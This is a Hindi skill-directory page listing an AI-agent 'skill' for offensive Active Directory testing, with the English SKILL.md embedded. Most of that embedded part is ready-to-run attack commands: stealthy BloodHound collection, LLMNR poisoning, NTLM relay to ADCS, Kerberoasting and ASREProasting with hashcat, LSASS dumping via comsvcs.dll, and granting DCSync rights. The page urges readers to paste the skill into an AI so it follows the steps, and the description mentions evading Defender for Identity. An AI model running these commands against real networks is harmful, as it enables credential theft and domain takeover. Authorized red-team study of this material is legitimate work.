मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी10k · #11943

offensive-active-directory

यह क्या करती है

यह स्किल Active Directory नेटवर्क के अधिकृत red team परीक्षणों की एक कार्यप्रणाली है। इसमें रिकॉनेसेंस, credential दुरुपयोग, privilege escalation, lateral movement और persistence शामिल हैं। यह उन सुरक्षा पेशेवरों के लिए है जिनके पास वातावरण परखने की लिखित अनुमति है।

कब इस्तेमाल करें

  • ✓जब आप Windows Active Directory नेटवर्क पर अधिकृत आंतरिक penetration test चला रहे हों।
  • ✓जब आपको BloodHound डेटा से Domain Admin तक के हमला रास्ते मैप करने हों।
  • ✓जब आपको किसी हस्ताक्षरित परीक्षण में Kerberoasting, ACL दुरुपयोग या lateral movement की चरण-दर-चरण योजना चाहिए।

Skill का लिंक

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/active-directory/offensive-active-directory/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/active-directory/offensive-active-directory/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमारे पास आंतरिक Active Directory परीक्षण की लिखित अनुमति है। BloodHound डेटा से Domain Admin तक के हमला रास्ते मैप कीजिए।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

स्किल एक तय क्रम का पालन करती है: कम शोर वाले रिकॉन से AD की संरचना जुटाना, credentials इकट्ठा करना, शीर्ष admin groups तक रास्ते मैप करना, फिर सबसे कम जोखिम वाले रास्ते को परखना और हर चरण का समय-चिह्न के साथ रिकॉर्ड रखना।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Active Directory — Offensive Testing Methodology

Quick Workflow

  1. Recon AD structure offline (BloodHound, ADExplorer snapshot) — minimize live queries
  2. Harvest creds via poisoning, Kerberoasting, ASREProast, or LSASS where allowed
  3. Map attack paths to Domain Admin / Enterprise Admin / Tier 0
  4. Execute path with lowest detection cost, validate at each hop
  5. Establish persistence and document every action with timestamps

Reconnaissance

BloodHound Collection

# SharpHound (CSharp collector) — most stealthy with throttling
SharpHound.exe -c All,GPOLocalGroup --Throttle 1000 --Jitter 30 --ZipFileName recon.zip

# Stealth collection (DC-only, avoids workstation noise)
SharpHound.exe -c DCOnly --Stealth

# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All

PowerView (No Tool Drop)

# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}

ADExplorer Offline

# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/

Credential Harvesting

LLMNR / NBT-NS / mDNS Poisoning

# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf

# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y

Crack with hashcat mode 5600. If cracking fails, relay instead.

NTLM Relay

# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt

# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
  --escalate-user attacker --delegate-access

# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
  --adcs --template DomainController

Kerberoasting

# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule

ASREProasting

# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt

LSASS / SAM Dumping

:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full

:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)

:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid

Parse with Mimikatz or pypykatz offline:

pypykatz lsa minidump lsass.dmp

Privilege Escalation Within AD

ACL Abuse

Right Abuse
GenericAll / GenericWrite Add SPN → Kerberoast; reset password; add member
WriteDacl Grant yourself DCSync rights, then DCSync
WriteOwner Take ownership → grant rights → exploit
AllExtendedRights (User) Force password change
AllExtendedRights (Domain) DCSync
AddMember Add self to privileged group
WriteSPN Set SPN, kerberoast target
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname

# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
  -PrincipalIdentity attacker -Rights DCSync

Kerberos Delegation

# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap

# Constrai
अक्सर पूछे जाने वाले सवाल

क्या यह बिना अनुमति के परीक्षण के लिए है?

नहीं। यह स्किल तय दायरे और लिखित अनुमति वाले अधिकृत काम के लिए लिखी गई है।

यह कौन से टूल का ज़िक्र करती है?

रिकॉन के लिए यह BloodHound, PowerView और ADExplorer जैसे टूल का ज़िक्र करती है।

क्या यह रिपोर्ट को कवर करती है?

हाँ। यह रिपोर्ट के लिए हर कार्रवाई को समय-चिह्न के साथ दर्ज करने को कहती है।

जानकारी

लेखक का मूल विवरण

Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on

repo: SnailSploit/Claude-Red

लोकप्रियता

GitHub स्टार
10k
रैंकिंग में स्थान
#11943
लाइसेंस
MIT
अपडेट की गई
12/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills